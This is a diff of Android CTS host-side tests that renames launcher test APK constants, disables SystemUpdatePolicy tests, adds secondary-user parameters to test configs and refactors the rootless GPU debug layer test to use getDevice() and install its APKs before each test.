diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index d223f03..d2f5a08 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -72,8 +72,8 @@
private static final String ARG_NETWORK_LOGGING_BATCH_COUNT = "batchCount";
private static final String TEST_UPDATE_LOCATION = "/data/local/tmp/cts/deviceowner";
- private static final String LAUNCHER_TESTS_NO_LAUNCHABLE_ACTIVITY_APK =
- "CtsNoLaunchableActivityApp.apk";
+ private static final String LAUNCHER_TESTS_HAS_LAUNCHER_ACTIVITY_APK =
+ "CtsHasLauncherActivityApp.apk";
/**
* Copied from {@link android.app.admin.DevicePolicyManager
@@ -577,13 +577,16 @@
if (!mHasFeature) {
return;
}
- executeDeviceOwnerTest("SystemUpdatePolicyTest");
+ // Disabled due to 145932189
+ // executeDeviceOwnerTest("SystemUpdatePolicyTest");
}
public void testSetSystemUpdatePolicyLogged() throws Exception {
if (!mHasFeature) {
return;
}
+ // Disabled due to 145932189
+ /*
assertMetricsLogged(getDevice(), () -> {
executeDeviceTestMethod(".SystemUpdatePolicyTest", "testSetAutomaticInstallPolicy");
}, new DevicePolicyEventWrapper.Builder(EventId.SET_SYSTEM_UPDATE_POLICY_VALUE)
@@ -608,6 +611,7 @@
.setAdminPackageName(DEVICE_OWNER_PKG)
.setInt(TYPE_NONE)
.build());
+ */
}
public void testWifiConfigLockdown() throws Exception {
@@ -995,7 +999,7 @@
// Install app to primary user
installAppAsUser(BaseLauncherAppsTest.LAUNCHER_TESTS_APK, mPrimaryUserId);
installAppAsUser(BaseLauncherAppsTest.LAUNCHER_TESTS_SUPPORT_APK, mPrimaryUserId);
- installAppAsUser(LAUNCHER_TESTS_NO_LAUNCHABLE_ACTIVITY_APK, mPrimaryUserId);
+ installAppAsUser(LAUNCHER_TESTS_HAS_LAUNCHER_ACTIVITY_APK, mPrimaryUserId);
// Run test to check if launcher api shows hidden app
String mSerialNumber = Integer.toString(getUserSerialNumber(USER_SYSTEM));
@@ -1005,7 +1009,7 @@
mPrimaryUserId, Collections.singletonMap(BaseLauncherAppsTest.PARAM_TEST_USER,
mSerialNumber));
} finally {
- getDevice().uninstallPackage(LAUNCHER_TESTS_NO_LAUNCHABLE_ACTIVITY_APK);
+ getDevice().uninstallPackage(LAUNCHER_TESTS_HAS_LAUNCHER_ACTIVITY_APK);
getDevice().uninstallPackage(BaseLauncherAppsTest.LAUNCHER_TESTS_SUPPORT_APK);
getDevice().uninstallPackage(BaseLauncherAppsTest.LAUNCHER_TESTS_APK);
}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsProfileTest.java
index c756d16..f8a78f0 100755
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsProfileTest.java
@@ -31,8 +31,8 @@
private static final String MANAGED_PROFILE_APK = "CtsManagedProfileApp.apk";
private static final String ADMIN_RECEIVER_TEST_CLASS =
MANAGED_PROFILE_PKG + ".BaseManagedProfileTest$BasicAdminReceiver";
- private static final String LAUNCHER_TESTS_NO_LAUNCHABLE_ACTIVITY_APK =
- "CtsNoLaunchableActivityApp.apk";
+ private static final String LAUNCHER_TESTS_HAS_LAUNCHER_ACTIVITY_APK =
+ "CtsHasLauncherActivityApp.apk";
private int mProfileUserId;
private int mParentUserId;
@@ -65,7 +65,7 @@
if (mHasFeature) {
removeUser(mProfileUserId);
uninstallTestApps();
- getDevice().uninstallPackage(LAUNCHER_TESTS_NO_LAUNCHABLE_ACTIVITY_APK);
+ getDevice().uninstallPackage(LAUNCHER_TESTS_HAS_LAUNCHER_ACTIVITY_APK);
}
super.tearDown();
}
@@ -122,15 +122,15 @@
return;
}
// Install app for all users.
- installAppAsUser(LAUNCHER_TESTS_NO_LAUNCHABLE_ACTIVITY_APK, mParentUserId);
- installAppAsUser(LAUNCHER_TESTS_NO_LAUNCHABLE_ACTIVITY_APK, mProfileUserId);
+ installAppAsUser(LAUNCHER_TESTS_HAS_LAUNCHER_ACTIVITY_APK, mParentUserId);
+ installAppAsUser(LAUNCHER_TESTS_HAS_LAUNCHER_ACTIVITY_APK, mProfileUserId);
// Run tests to check SimpleApp exists in both profile and main user.
runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
LAUNCHER_TESTS_CLASS, "testDoPoNoTestAppInjectedActivityFound",
mParentUserId, Collections.singletonMap(PARAM_TEST_USER, mProfileSerialNumber));
runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
- LAUNCHER_TESTS_CLASS, "testNoLaunchableActivityAppHasAppDetailsActivityInjected",
+ LAUNCHER_TESTS_CLASS, "testHasLauncherActivityAppHasAppDetailsActivityInjected",
mParentUserId, Collections.singletonMap(PARAM_TEST_USER, mMainUserSerialNumber));
}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LimitAppIconHidingTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LimitAppIconHidingTest.java
index 09d2541..fa92065 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LimitAppIconHidingTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LimitAppIconHidingTest.java
@@ -23,10 +23,10 @@
*/
public class LimitAppIconHidingTest extends BaseLauncherAppsTest {
- private static final String LAUNCHER_TESTS_NO_LAUNCHABLE_ACTIVITY_APK =
- "CtsNoLaunchableActivityApp.apk";
- private static final String LAUNCHER_TESTS_NO_COMPONENT_APK =
- "CtsNoComponentApp.apk";
+ private static final String LAUNCHER_TESTS_HAS_LAUNCHER_ACTIVITY_APK =
+ "CtsHasLauncherActivityApp.apk";
+ private static final String LAUNCHER_TESTS_NO_LAUNCHER_ACTIVITY_APK =
+ "CtsNoLauncherActivityApp.apk";
private static final String LAUNCHER_TESTS_NO_PERMISSION_APK =
"CtsNoPermissionApp.apk";
@@ -58,8 +58,8 @@
@Override
protected void installTestApps(int userId) throws Exception {
super.installTestApps(mCurrentUserId);
- installAppAsUser(LAUNCHER_TESTS_NO_LAUNCHABLE_ACTIVITY_APK, mCurrentUserId);
- installAppAsUser(LAUNCHER_TESTS_NO_COMPONENT_APK, mCurrentUserId);
+ installAppAsUser(LAUNCHER_TESTS_HAS_LAUNCHER_ACTIVITY_APK, mCurrentUserId);
+ installAppAsUser(LAUNCHER_TESTS_NO_LAUNCHER_ACTIVITY_APK, mCurrentUserId);
installAppAsUser(LAUNCHER_TESTS_NO_PERMISSION_APK, mCurrentUserId);
}
@@ -67,16 +67,16 @@
protected void uninstallTestApps() throws Exception {
super.uninstallTestApps();
getDevice().uninstallPackage(LAUNCHER_TESTS_NO_PERMISSION_APK);
- getDevice().uninstallPackage(LAUNCHER_TESTS_NO_COMPONENT_APK);
- getDevice().uninstallPackage(LAUNCHER_TESTS_NO_LAUNCHABLE_ACTIVITY_APK);
+ getDevice().uninstallPackage(LAUNCHER_TESTS_NO_LAUNCHER_ACTIVITY_APK);
+ getDevice().uninstallPackage(LAUNCHER_TESTS_HAS_LAUNCHER_ACTIVITY_APK);
}
- public void testNoLaunchableActivityAppHasAppDetailsActivityInjected() throws Exception {
+ public void testHasLauncherActivityAppHasAppDetailsActivityInjected() throws Exception {
if (!mHasLauncherApps) {
return;
}
runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
- LAUNCHER_TESTS_CLASS, "testNoLaunchableActivityAppHasAppDetailsActivityInjected",
+ LAUNCHER_TESTS_CLASS, "testHasLauncherActivityAppHasAppDetailsActivityInjected",
mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
}
@@ -89,12 +89,12 @@
mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
}
- public void testNoComponentAppNotInjected() throws Exception {
+ public void testNoLauncherActivityAppNotInjected() throws Exception {
if (!mHasLauncherApps) {
return;
}
runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
- LAUNCHER_TESTS_CLASS, "testNoComponentAppNotInjected",
+ LAUNCHER_TESTS_CLASS, "testNoLauncherActivityAppNotInjected",
mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
}
diff --git a/hostsidetests/dexmetadata/host/AndroidTest.xml b/hostsidetests/dexmetadata/host/AndroidTest.xml
index dbac924..9fe390f 100644
--- a/hostsidetests/dexmetadata/host/AndroidTest.xml
+++ b/hostsidetests/dexmetadata/host/AndroidTest.xml
@@ -21,6 +21,7 @@
-->
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsDexMetadataDeviceTestApp.apk" />
diff --git a/hostsidetests/dumpsys/AndroidTest.xml b/hostsidetests/dumpsys/AndroidTest.xml
index 11ab26f..b6d0270 100644
--- a/hostsidetests/dumpsys/AndroidTest.xml
+++ b/hostsidetests/dumpsys/AndroidTest.xml
@@ -19,6 +19,7 @@
<!-- This module tests system service dumps, which is irrelevant for Instant Apps. -->
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest">
<option name="jar" value="CtsDumpsysHostTestCases.jar" />
</test>
diff --git a/hostsidetests/gputools/AndroidTest.xml b/hostsidetests/gputools/AndroidTest.xml
index f1b8b9c..cd95605 100644
--- a/hostsidetests/gputools/AndroidTest.xml
+++ b/hostsidetests/gputools/AndroidTest.xml
@@ -19,6 +19,7 @@
<option name="config-descriptor:metadata" key="component" value="graphics" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsGpuToolsRootlessGpuDebugApp-DEBUG.apk" />
diff --git a/hostsidetests/gputools/src/android/gputools/cts/CtsRootlessGpuDebugHostTest.java b/hostsidetests/gputools/src/android/gputools/cts/CtsRootlessGpuDebugHostTest.java
index f4362f0..6b5c645 100644
--- a/hostsidetests/gputools/src/android/gputools/cts/CtsRootlessGpuDebugHostTest.java
+++ b/hostsidetests/gputools/src/android/gputools/cts/CtsRootlessGpuDebugHostTest.java
@@ -18,6 +18,7 @@
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import com.android.tradefed.testtype.IDeviceTest;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
import java.util.Scanner;
@@ -31,24 +32,10 @@
* Tests that exercise Rootless GPU Debug functionality supported by the loader.
*/
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CtsRootlessGpuDebugHostTest implements IDeviceTest {
+public class CtsRootlessGpuDebugHostTest extends BaseHostJUnit4Test implements IDeviceTest {
public static final String TAG = "RootlessGpuDebugDeviceActivity";
- /**
- * A reference to the device under test.
- */
- private ITestDevice mDevice;
-
- public void setDevice(ITestDevice device) {
- mDevice = device;
- }
-
- @Override
- public ITestDevice getDevice() {
- return mDevice;
- }
-
// This test ensures that the Vulkan and GLES loaders can use Settings to load layers
// from the base directory of debuggable applications. Is also tests several
// positive and negative scenarios we want to cover (listed below).
@@ -115,6 +102,10 @@
private static final String RELEASE_APP = "android.rootlessgpudebug.RELEASE.app";
private static final String LAYERS_APP = "android.rootlessgpudebug.LAYERS.app";
private static final String GLES_LAYERS_APP = "android.rootlessgpudebug.GLES_LAYERS.app";
+ private static final String DEBUG_APK = "CtsGpuToolsRootlessGpuDebugApp-DEBUG.apk";
+ private static final String RELEASE_APK = "CtsGpuToolsRootlessGpuDebugApp-RELEASE.apk";
+ private static final String LAYERS_APK = "CtsGpuToolsRootlessGpuDebugApp-LAYERS.apk";
+ private static final String GLES_LAYERS_APK = "CtsGpuToolsRootlessGpuDebugApp-GLES_LAYERS.apk";
private static final String GLES_LAYER_A = "glesLayerA";
private static final String GLES_LAYER_B = "glesLayerB";
private static final String GLES_LAYER_C = "glesLayerC";
@@ -139,14 +130,14 @@
*/
private String getTime() throws Exception {
// logcat will accept "MM-DD hh:mm:ss.mmm"
- return mDevice.executeShellCommand("date +\"%m-%d %H:%M:%S.%3N\"");
+ return getDevice().executeShellCommand("date +\"%m-%d %H:%M:%S.%3N\"");
}
/**
* Apply a setting and ensure it sticks before continuing
*/
private void applySetting(String setting, String value) throws Exception {
- mDevice.executeShellCommand("settings put global " + setting + " " + value);
+ getDevice().executeShellCommand("settings put global " + setting + " " + value);
long hostStartTime = System.currentTimeMillis();
while (((System.currentTimeMillis() - hostStartTime) < SETTING_APPLY_TIMEOUT_MS)) {
@@ -155,7 +146,7 @@
Thread.sleep(1000);
// Read it back, make sure it has applied
- String returnedValue = mDevice.executeShellCommand("settings get global " + setting);
+ String returnedValue = getDevice().executeShellCommand("settings get global " + setting);
if ((returnedValue != null) && (returnedValue.trim().equals(value))) {
return;
}
@@ -170,7 +161,7 @@
* Delete a setting and ensure it goes away before continuing
*/
private void deleteSetting(String setting) throws Exception {
- mDevice.executeShellCommand("shell settings delete global " + setting);
+ getDevice().executeShellCommand("shell settings delete global " + setting);
long hostStartTime = System.currentTimeMillis();
while (((System.currentTimeMillis() - hostStartTime) < SETTING_APPLY_TIMEOUT_MS)) {
@@ -179,7 +170,7 @@
Thread.sleep(1000);
// Read it back, make sure it is gone
- String returnedValue = mDevice.executeShellCommand("settings get global " + setting);
+ String returnedValue = getDevice().executeShellCommand("settings get global " + setting);
if ((returnedValue == null) ||
(returnedValue.trim().isEmpty()) ||
(returnedValue.trim().equals("null"))) {
@@ -198,16 +189,16 @@
private void setupLayer(String layer, String layerApp) throws Exception {
// We use the LAYERS apk to facilitate getting layers onto the device for mixing and matching
- String libPath = mDevice.executeAdbCommand("shell", "pm", "path", layerApp);
+ String libPath = getDevice().executeAdbCommand("shell", "pm", "path", layerApp);
libPath = libPath.replaceAll("package:", "");
libPath = libPath.replaceAll("base.apk", "");
libPath = removeWhitespace(libPath);
libPath += "lib/";
// Use find to get the .so so we can ignore ABI
- String layerPath = mDevice.executeAdbCommand("shell", "find", libPath + " -name " + layer);
+ String layerPath = getDevice().executeAdbCommand("shell", "find", libPath + " -name " + layer);
layerPath = removeWhitespace(layerPath);
- mDevice.executeAdbCommand("shell", "cp", layerPath + " /data/local/tmp");
+ getDevice().executeAdbCommand("shell", "cp", layerPath + " /data/local/tmp");
}
/**
@@ -245,7 +236,7 @@
// Pull the logcat since the app started, filter for tags
// This command should look something like this:
// adb logcat -d -t '03-27 21:35:05.392' -s "RootlessGpuDebugDeviceActivity,nullLayerC"
- String logcat = mDevice.executeShellCommand(
+ String logcat = getDevice().executeShellCommand(
"logcat -d " +
"-t '" + removeWhitespace(appStartTime) + "' " +
"-s \"" + tag + "\"");
@@ -278,28 +269,32 @@
*/
@After
public void cleanup() throws Exception {
- mDevice.executeAdbCommand("shell", "am", "force-stop", DEBUG_APP);
- mDevice.executeAdbCommand("shell", "am", "force-stop", RELEASE_APP);
- mDevice.executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + LAYER_A_LIB);
- mDevice.executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + LAYER_B_LIB);
- mDevice.executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + LAYER_C_LIB);
- mDevice.executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + GLES_LAYER_A_LIB);
- mDevice.executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + GLES_LAYER_B_LIB);
- mDevice.executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + GLES_LAYER_C_LIB);
- mDevice.executeAdbCommand("shell", "settings", "delete", "global", "enable_gpu_debug_layers");
- mDevice.executeAdbCommand("shell", "settings", "delete", "global", "gpu_debug_app");
- mDevice.executeAdbCommand("shell", "settings", "delete", "global", "gpu_debug_layers");
- mDevice.executeAdbCommand("shell", "settings", "delete", "global", "gpu_debug_layers_gles");
- mDevice.executeAdbCommand("shell", "settings", "delete", "global", "gpu_debug_layer_app");
- mDevice.executeAdbCommand("shell", "setprop", "debug.vulkan.layers", "\'\'");
- mDevice.executeAdbCommand("shell", "setprop", "debug.gles.layers", "\'\'");
+ getDevice().executeAdbCommand("shell", "am", "force-stop", DEBUG_APP);
+ getDevice().executeAdbCommand("shell", "am", "force-stop", RELEASE_APP);
+ getDevice().executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + LAYER_A_LIB);
+ getDevice().executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + LAYER_B_LIB);
+ getDevice().executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + LAYER_C_LIB);
+ getDevice().executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + GLES_LAYER_A_LIB);
+ getDevice().executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + GLES_LAYER_B_LIB);
+ getDevice().executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + GLES_LAYER_C_LIB);
+ getDevice().executeAdbCommand("shell", "settings", "delete", "global", "enable_gpu_debug_layers");
+ getDevice().executeAdbCommand("shell", "settings", "delete", "global", "gpu_debug_app");
+ getDevice().executeAdbCommand("shell", "settings", "delete", "global", "gpu_debug_layers");
+ getDevice().executeAdbCommand("shell", "settings", "delete", "global", "gpu_debug_layers_gles");
+ getDevice().executeAdbCommand("shell", "settings", "delete", "global", "gpu_debug_layer_app");
+ getDevice().executeAdbCommand("shell", "setprop", "debug.vulkan.layers", "\'\'");
+ getDevice().executeAdbCommand("shell", "setprop", "debug.gles.layers", "\'\'");
}
/**
- * Clean up before starting any tests
+ * Clean up before starting any tests, and ensure supporting packages are installed
*/
@Before
public void init() throws Exception {
+ installPackage(DEBUG_APK);
+ installPackage(RELEASE_APK);
+ installPackage(LAYERS_APK);
+ installPackage(GLES_LAYERS_APK);
if (!initialized) {
cleanup();
initialized = true;
@@ -324,17 +319,17 @@
// Copy them over to our DEBUG app
- mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
- "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+ getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
+ "run-as", DEBUG_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
"sh", "-c", "\'cat", ">", LAYER_A_LIB, ";", "chmod", "700", LAYER_A_LIB + "\'");
- mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_B_LIB, "|",
- "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+ getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_B_LIB, "|",
+ "run-as", DEBUG_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
"sh", "-c", "\'cat", ">", LAYER_B_LIB, ";", "chmod", "700", LAYER_B_LIB + "\'");
// Kick off our DEBUG app
String appStartTime = getTime();
- mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+ getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
// Check that both layers were loaded, in the correct order
String searchStringA = "nullCreateInstance called in " + LAYER_A;
@@ -364,13 +359,13 @@
setupLayer(LAYER_A_LIB, LAYERS_APP);
// Attempt to copy them over to our RELEASE app (this should fail)
- mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
- "run-as", RELEASE_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+ getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
+ "run-as", RELEASE_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
"sh", "-c", "\'cat", ">", LAYER_A_LIB, ";", "chmod", "700", LAYER_A_LIB + "\'", "||", "echo", "run-as", "failed");
// Kick off our RELEASE app
String appStartTime = getTime();
- mDevice.executeAdbCommand("shell", "am", "start", "-n", RELEASE_APP + "/" + ACTIVITY);
+ getDevice().executeAdbCommand("shell", "am", "start", "-n", RELEASE_APP + "/" + ACTIVITY);
// Ensure we don't load the layer in base dir
String searchStringA = LAYER_A_NAME + "loaded";
@@ -394,13 +389,13 @@
setupLayer(LAYER_A_LIB, LAYERS_APP);
// Copy it over to our DEBUG app
- mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
- "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+ getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
+ "run-as", DEBUG_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
"sh", "-c", "\'cat", ">", LAYER_A_LIB, ";", "chmod", "700", LAYER_A_LIB + "\'");
// Kick off our DEBUG app
String appStartTime = getTime();
- mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+ getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
// Ensure we don't load the layer in base dir
String searchStringA = LAYER_A_NAME + "loaded";
@@ -424,13 +419,13 @@
setupLayer(LAYER_A_LIB, LAYERS_APP);
// Copy it over to our DEBUG app
- mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
- "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+ getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
+ "run-as", DEBUG_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
"sh", "-c", "\'cat", ">", LAYER_A_LIB, ";", "chmod", "700", LAYER_A_LIB + "\'");
// Kick off our DEBUG app
String appStartTime = getTime();
- mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+ getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
// Ensure we don't load the layer in base dir
String searchStringA = LAYER_A_NAME + "loaded";
@@ -454,13 +449,13 @@
setupLayer(LAYER_A_LIB, LAYERS_APP);
// Copy it over to our DEBUG app
- mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
- "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+ getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
+ "run-as", DEBUG_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
"sh", "-c", "\'cat", ">", LAYER_A_LIB, ";", "chmod", "700", LAYER_A_LIB + "\'");
// Kick off our DEBUG app
String appStartTime = getTime();
- mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+ getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
// Ensure layerA is not loaded
String searchStringA = "nullCreateInstance called in " + LAYER_A;
@@ -474,19 +469,19 @@
@Test
public void testSystemPropertyEnableVulkan() throws Exception {
- // Set up layerA to be loaded, but not layerB or layerC
+ // Don't enable any layers via settings
applySetting("enable_gpu_debug_layers", "1");
applySetting("gpu_debug_app", RELEASE_APP);
deleteSetting("gpu_debug_layers");
// Enable layerC (which is packaged with the RELEASE app) with system properties
- mDevice.executeAdbCommand("shell", "setprop", "debug.vulkan.layers " + LAYER_C_NAME);
+ getDevice().executeAdbCommand("shell", "setprop", "debug.vulkan.layers " + LAYER_C_NAME);
// Kick off our RELEASE app
String appStartTime = getTime();
- mDevice.executeAdbCommand("shell", "am", "start", "-n", RELEASE_APP + "/" + ACTIVITY);
+ getDevice().executeAdbCommand("shell", "am", "start", "-n", RELEASE_APP + "/" + ACTIVITY);
- // Check that both layers were loaded, in the correct order
+ // Check that only layerC was loaded
String searchStringA = LAYER_A_NAME + "loaded";
LogScanResult resultA = scanLog(TAG + "," + LAYER_A, searchStringA, appStartTime);
Assert.assertFalse("LayerA was enumerated", resultA.found);
@@ -512,19 +507,19 @@
setupLayer(LAYER_B_LIB, LAYERS_APP);
// Copy them over to our DEBUG app
- mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
- "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+ getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
+ "run-as", DEBUG_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
"sh", "-c", "\'cat", ">", LAYER_A_LIB, ";", "chmod", "700", LAYER_A_LIB + "\'");
- mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_B_LIB, "|",
- "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+ getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_B_LIB, "|",
+ "run-as", DEBUG_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
"sh", "-c", "\'cat", ">", LAYER_B_LIB, ";", "chmod", "700", LAYER_B_LIB + "\'");
// Enable layerB with system properties
- mDevice.executeAdbCommand("shell", "setprop", "debug.vulkan.layers " + LAYER_B_NAME);
+ getDevice().executeAdbCommand("shell", "setprop", "debug.vulkan.layers " + LAYER_B_NAME);
// Kick off our DEBUG app
String appStartTime = getTime();
- mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+ getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
// Ensure only layerA is loaded
String searchStringA = "nullCreateInstance called in " + LAYER_A;
@@ -552,7 +547,7 @@
// Kick off our DEBUG app
String appStartTime = getTime();
- mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+ getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
// Check that our external layer was loaded
String searchStringC = "nullCreateInstance called in " + LAYER_C;
@@ -578,16 +573,16 @@
setupLayer(GLES_LAYER_B_LIB, GLES_LAYERS_APP);
// Copy them over to our DEBUG app
- mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_A_LIB, "|",
- "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+ getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_A_LIB, "|",
+ "run-as", DEBUG_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
"sh", "-c", "\'cat", ">", GLES_LAYER_A_LIB, ";", "chmod", "700", GLES_LAYER_A_LIB + "\'");
- mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_B_LIB, "|",
- "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+ getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_B_LIB, "|",
+ "run-as", DEBUG_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
"sh", "-c", "\'cat", ">", GLES_LAYER_B_LIB, ";", "chmod", "700", GLES_LAYER_B_LIB + "\'");
// Kick off our DEBUG app
String appStartTime = getTime();
- mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+ getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
// Check that both layers were loaded, in the correct order
String searchStringA = "glesLayer_eglChooseConfig called in " + GLES_LAYER_A;
@@ -618,12 +613,12 @@
setupLayer(GLES_LAYER_A_LIB, GLES_LAYERS_APP);
// Attempt to copy them over to our RELEASE app (this should fail)
- mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_A_LIB, "|", "run-as", RELEASE_APP,
+ getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_A_LIB, "|", "run-as", RELEASE_APP,
"sh", "-c", "\'cat", ">", GLES_LAYER_A_LIB, ";", "chmod", "700", GLES_LAYER_A_LIB + "\'", "||", "echo", "run-as", "failed");
// Kick off our RELEASE app
String appStartTime = getTime();
- mDevice.executeAdbCommand("shell", "am", "start", "-n", RELEASE_APP + "/" + ACTIVITY);
+ getDevice().executeAdbCommand("shell", "am", "start", "-n", RELEASE_APP + "/" + ACTIVITY);
// Ensure we don't load the layer in base dir
String searchStringA = GLES_LAYER_A + " loaded";
@@ -647,12 +642,12 @@
setupLayer(GLES_LAYER_A_LIB, GLES_LAYERS_APP);
// Copy it over to our DEBUG app
- mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_A_LIB, "|", "run-as", DEBUG_APP,
+ getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_A_LIB, "|", "run-as", DEBUG_APP,
"sh", "-c", "\'cat", ">", GLES_LAYER_A_LIB, ";", "chmod", "700", GLES_LAYER_A_LIB + "\'");
// Kick off our DEBUG app
String appStartTime = getTime();
